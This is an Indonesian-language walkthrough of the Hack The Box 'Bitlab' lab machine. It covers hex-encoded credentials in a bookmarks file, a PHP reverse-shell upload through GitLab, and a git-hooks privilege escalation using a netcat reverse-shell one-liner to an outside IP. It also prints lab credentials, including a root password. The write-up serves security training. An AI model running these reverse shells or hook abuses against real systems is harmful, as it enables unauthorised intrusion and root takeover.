Bitlab

Hack The Box - Machine Bitlab Walktrough / Writeup

Mesin ini dibuat oleh Frey & thek, sistem operasi yang digunakan Linux dan tingkatan dari mesin ini adalah Medium. Seperti biasa hal yan pertama kita lakukan adalah Reconnaissance & Enumeration

Enumeration

Di mesin kali ini kita diberikan sebuah halaman seperti gambar dibawah ini.

Kemudian kita melakukan direktori scanning dari halaman tersebut, dan kita menemukan file robots.txt.

ss

Setelah melakukan memeriksa direktori yang berbeda satu per satu.Kita menemukan sebuah direktori help yang berisikan file bookmarks.html

Information Exposore

Setelaah membuka source dari page bookmarks.html, pada baris ke 15 kita menemukan sebuah fungsi javascript yang di encode menggunakan hex.

<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
It will be read and overwritten.
DO NOT EDIT! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
<DL><p>
<DT><H3 ADD_DATE="1564422476" LAST_MODIFIED="0" PERSONAL_TOOLBAR_FOLDER="true">Bookmarks bar</H3>
<DL><p>
<DT><A HREF="https://www.hackthebox.eu/" ADD_DATE="1554931938" ICON="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACuklEQVQ4jW2Tz2tcdRTFP+d+33szmUlGjCh0pppQrQYLlcaiRloxi2zERUUR7FYXutCVC/8AFy7MRkHc+B+04EqQLiIqKCqiBSUKRqLplCyMZl7n13vzvtfFi6Vg7/bcc7jcc46oR4ADdO87cS6YXna0jtM7Qq8J36qif9T/Y+fLWzni5nRbx5fa78h4VZBCRKpF3REYDqVHPtzbHb4F/dF/Ktbtdpsha31swTbwKsZKcTrGZqUEkKTujTmiBTcULFbxSjHOn9vf3x8HwO9YvGczJOGlWVFNh7lCkrk9sDrT+sUxp84VxEo62DcbDkQIsUjS8KAsXRgc/v2Jer3lJyxLv4gzp9WJtroxVe+hGdOh+P1qKoDl06XPzTt72wnfX2n4aGDREhGL8nzo3HXn20nQ6vBQ8ckLE3v2tRHTkfju06auftbw6zsJFtDK4yWPPTPl8ED65dvM51qeRHmaCFt33EHWbMOlzTa7PyV66sWJn39hIoC/rptf2mxr+dTMO3dHBOa4C1tPhI65O4AEhAA7P6T+6zepnn9zCMDld9tKMvzE6RLVf5U7CB1L3GsiR0GwAK2OEyNURY3MLzpmNVYbe7TvyJD3JXDHZc44F6OBhOMWbpJ8NJDGuUBe7wqQ982JW6qPiOVEnNmYcvJs6ZOhNL4hH9+QT4bSybOln9koKKcARCE5cUu93tKaZdnnsXIac9EeebrQylrBZCgWFuuk5gfyZtvZ/jrjx63Mp2OLFmobBXB86f73Qgivz2bVdJwrTTJ078qMh9cKAH7+KuPP7YSqxJvzXiZJaFRV9f7e7m9v/C/K7lV0VyxGbmVpAkjT6FlLUXLTUZSrYnSh3+9PAuB5npeDf5qXFzppB+lRoTRJUTbnZE0nSWVC5mgWKz7Y2x29kuf90a1tvE2dWcd1VGe/Jrhtnf8FOj1caqcXEh4AAAAASUVORK5CYII=">Hack The Box :: Penetration Testing Labs</A>
<DT><A HREF="https://www.docker.com/" ADD_DATE="1554931981" ICON="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACE0lEQVQ4jbWTu2tUURDGf3P23JvdKxvRGIwEA1okmNSWAcFCBIs0+QfEF0hsFFtPwNIHKFosWGhhYbCzEERMQCIoiBYJCpEYAxJNk6e5u3vOGYtdkvVBsPGDYZhhHh/fnAPbwTmDU7Ntzf/Fva/XqMzfBmQz9xsj2/SCKoyOClP9wsC0MtUvxHgAKIETuAKI4iS2DpDWgMr8LXxtEGNnIOxDzCJSSDiz/wQAR15YhjqPsjTwDCcRp8bi1NDxsYtAmVp1FfQLhG8QFJF1qCdcf9dLVlonD3sp736K/XQWqOAkNhjcmbmKMILyHGO6sckc3ndTsMugBqULa2dZWRtlR+kN+foiWft7fHW8wN2Z40AvsIzIEkoOugaaI6wSwwYavhPjEhI68dVBitkuNPbg/RML5j7W7EHjDzQmiEQ0GiASQ1MjUTQakmJKqEP0F1nJH3J5YMFC/EyIHfhahgioyqa82qqw1kmzgJjXnDt4o3FSZywhvKSteJh6rYaQILLVJpvbA6ZgEfGE/BIgDKvBSTBAhRBWSNtSotYBj2qLRUizhDTboFo9xflDk6AwJgHAMNL3Ae9PkhQXyMoppfaErD0h29nwSRoQM0EtH+JC3wOcM7DF0qIqiDzm5vQkxdIxfN6HUqYgG2DnSJNXnO55i5tta9b+8hKb+qj8mfw3tDSq8IjmRxkDhmF6XGAi4txftjbwE2NZ43Pq//CoAAAAAElFTkSuQmCC">Enterprise Application Container Platform | Docker</A>
<DT><A HREF="https://www.php.net/" ADD_DATE="1554931999" ICON="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAb0lEQVQ4jWNsaDjAQApgIkk1ORpY0Pjh4eIQxsqVL4m1QVNTk4ANWE0NDxeHcNFlr1+/Dld0/fp1glwmZA7cMXi4dAtWiHXILkYGyLIscFcywMLh+vXrcAamLMJJ8DDFZCCzmfC4BNl4OGCkeWoFAHM4Vw1BMLruAAAAAElFTkSuQmCC">PHP: Hypertext Preprocessor</A>
<DT><A HREF="https://nodejs.org/en/" ADD_DATE="1554932008" ICON="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAC1UlEQVQ4jW2TT4iVVRjGn+c957vfnWlmuNZgKCkEhS7cmSS2aTe00M0wQn9IsRSCIMyFMbgqdKVtok2Bi1EQvAspMHATbVwWLQpiQKjUHJs7c6/3u/f77vfvPC6u84forA6H933Oy/vjB2w7CzcX3Mb9/A/vv3Xh9plfz9489cvpq+/M/V8NAHD8CNc+jhoAPr4zv3+SzUVfR++ZYpZ5QL+fBzNcQ8Clr08sLW8EtY+3a24kvXv99ZnZl3afi0L86WQ8OVX1glR5hYoYpgVdw5G1EiOv9P7ufHn1/PfJ5gSnb8/NT+2ILkZuYl8YGFzdKK00jxChLoCiCMiyvPLeR1PTTSDojxpavDz/7S1789zR2ezfaMk89+XDsgxBAuApEgGEQICE0RdlqUE/K513+//pdJbwwczztucVb3XSHKaPGczDAQQkwiAYRKMAiQLrOkCC6z4ZhIdrnfTgnlfNWvFIzThivtY0lQAgApSe/S6BBEmjyrpmFYIe9boWAtiabcl6+SyjmLQ6QtH3NAcoiOQ2TAAUSEDoDRKm+QjeO/Y6PRqeG8AZETUMf/71BEUeYEZIgKQt3hSMRFYV8GaILQKmpmGjaiQfU0kxxOp6X49XUjhPSALJbSGERIBQpRrNhlerSGXNVpMZ07Cy3g2NhuejlUSDtJD3JkHjJRICJFCiyKwqQgjSzhdepE3s7YYHq+szRajNOauKssKDhz2ajTEqiAgaoxxvo3beLCmy6coVwb557ae1pFueNPKei13U8I4rnaTqDTK5yCRKGk9QEaSfiCIG3Cvq6mT7wztdBwD3f7z/+643dl8nANIOoWGNPCuxq7VDdQXUQXSxd6Msz7O8uDJYzU7c/fzuz1uUFuDQHst05OKRA867xVCFtw+8vBc7p1sYpgVGo/JGkiaXrn1067f/9myZuYBNVQ9/cfjY0a/mlj/77szyJzdOHdvUeVyzKeFT9k18v9LwrSUAAAAASUVORK5CYII=">Node.js</A>
<DT><A HREF="javascript:(function(){ var _0x4b18=[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x63\x6C\x61\x76\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot;,&quot;\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A>
</DL><p>
</DL><p>

Escaped Hex String

Disini saya menggunakan tools Online JavaScript Hexadecimal String Escaper/Unescaper untuk mendecode string tersebut

dari hasil tersebut kita mendapatkan sebuah username dan password, kemungkinan user dan password ini digunakan untuk login ke halaman Gitlab.

Gitlab

GitLab adalah sebuah manajer repositori Git berbasis web dengan fitur wiki dan pelacakan masalah, menggunakan lisensi sumber terbuka, dikembangkan oleh GitLab In.

Gitlab Community Edition

Gitlab Community Edition Ini adalah versi gratis atau open source yang dimana kode sumbernya dapat dilihat dan semua orang dapat membantu pengembangannya. Gitlab Community Editio ini dapat diunduh kode sumbernya dan dapat kita install sendiri di server.

Gitlab Account Login

Dengan memanfaatkan username dan password di bawah ini, kita dapat login ke dashboard user clave

Username : Clave
Password : 11des0081x

Setelah berhasil login kita disajikan dengan beberapa project seperti gambar dibawah ini, saya langsung mencoba membuka projek pada repository Profile milik Clave.

Pada repository ini, Clave dapat mengedit dan menambahkan sebuah file. Dengan memanfaatkan akses izin ini, kita mencoba untuk mengupload sebuah file php yang digunakan untuk melakukan reverse shell.

Initial Shell

Kemudian kita dapat mengakses file yang kita unggah melalui alamat dibawah ini

http://10.10.10.114/profile/php-reverse-shell.php

setelah berhasil mendapatkan akses shell kita lakukan upgrade shell tty agar lebih interaktif.

Spawning a TTY Shell

Disini saya tidak menggunakan python untuk Nge Spawn TTY Shell, untuk lebih detail perintah" apa saja yang bisa untuk mengupgrade shell kita menjadi lebih interaktif. bisa baca di sini

/usr/bin/script -qc /bin/bash /dev/null

Previlege Escalation

Abusing SUDO

Sudo ini adalah singkatan dari Super User and Do. Pada dasarnya, ketika kita menggunakan perintah ini di awal untuk suatu perintah maka memungkinkan perintah tersebut dijalankan sebagai root tanpa mengubah akses dari pengguna awal/biasa.

Sudo Git Pull

Gunakan perintah sudo -l untuk melihat perintah apa saja yang diberikan akses sudo, disini kita mendapatkan perintah "git pull".

Perintah “git pull” juga dapat disalah gunakan untuk menjalankan perintah di bawah root dan mendapatkan akses shell dengan user root menggunakan fitur git hooks.

The Magic of Git hooks

Git hooks adalah skrip yang dijalankan Git sebelum atau setelah peristiwa seperti pull, commit, push, and receive. Git hooks ini adalah fitur bawaan, jadi kita tidak perlu mengunduhnya lagi.

s.id/c17xQ

Setiap repositori Git memiliki folder .git / hooks, dan pada folder hook memiliki beberapa script yang saling berkaitain satu sama lain. Berikut daftar lengkapnya

Kita juga bebas untuk mengubah, menambah dan memperbarui skrip diatas sebagaimana diperlukan, dan Git akan mengeksekusinya script tersebut ketika peristiwa itu terjadi.

Let's Pull Me into ROOT

Dengan informasi yang cukup, kita copy direktori profile yang berada di /var/www/html ke /dev/shm ataupun ke folder yang writable seperti tmp.

Setelah memiliki write akses, kita bikin file yang bernama "post-merge" di dalam folder .git/hooks yang berisikan perintah untuk melakukan reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.33 9090 >/tmp/f

Dan berikan permission pada file agar dapat di eksekusi,

chmod +x post-merge

sekarang kita perlu membuat beberapa perubahan apa saja pada repositori. Dengan tujuan, agar saat kita melakukan pull request ke repo ada perubahan dan script hooks kita dapat berjalan.

Setelah kita lakukan commit dan merge pada file yang kita ubah, kita jalankan perintah sudo /usr/bin/git/pull,

kita dapat melihat bahwa file telah diperbarui ke repo lokal dan script post-merge telah berhasil dieksuksi.

Alternative Previlege Escalation

Pada bagian snipet, kita menemukan konfigurasi Postgresql seperti gambar dibawah ini.

Gitlab Snippets ini untuk menyimpan dan berbagi bit kode dan teks dengan pengguna lain ataupun untuk personal.

Database Access (Postgresql)

Dengan memanfaatkan informasi diatas, kita coba menjalankan perintah tersebut dan menampilkan username dan password dari user clave yang tersimpan didalam database

SSH as Clave

Setelah mendapatkan credentials tersebut kita mencoba login menggunakan ssh dengan username dan password :

Username : Clave
Password : c3NoLXN0cjBuZy1wQHNZ==

Getting Users.txt

Flag dari user.txt berhasil kita dapatkan, selanjutnya kita lakukan enumerasi lebih lanjut untuk melakukan Previlege Escalation.

Pada folder direktori home user clave, kita menemukan sebuah file yang cukup menarik yaitu file ReverseConnection.exe.

Debug RemoteConnection.exe

Kemudian kita mencoba mendownload file tersebut dan kita lakukan sedikit debugging saja menggunakan Ollydbg atauapun Immunity Debugger, setelah menemukan breakpoint kita mendapatkan informasi user clave dan kita set breakpointnya di alamat tersebut.

Dan pada bagian Registers kita menemukan username dan password dari user root .

Username : root
Password : Qf7]8YSV.wDNF*[7d?j&eD4^

Terimakasih, Kalo di rasa tulisan ini bermanfaat, silahkan Share. Semoga kebermanfaatan ini terus berlanjut!

Download Versi PDF

Teman teman juga dapat mendownload tulisan ini dalam format pdf.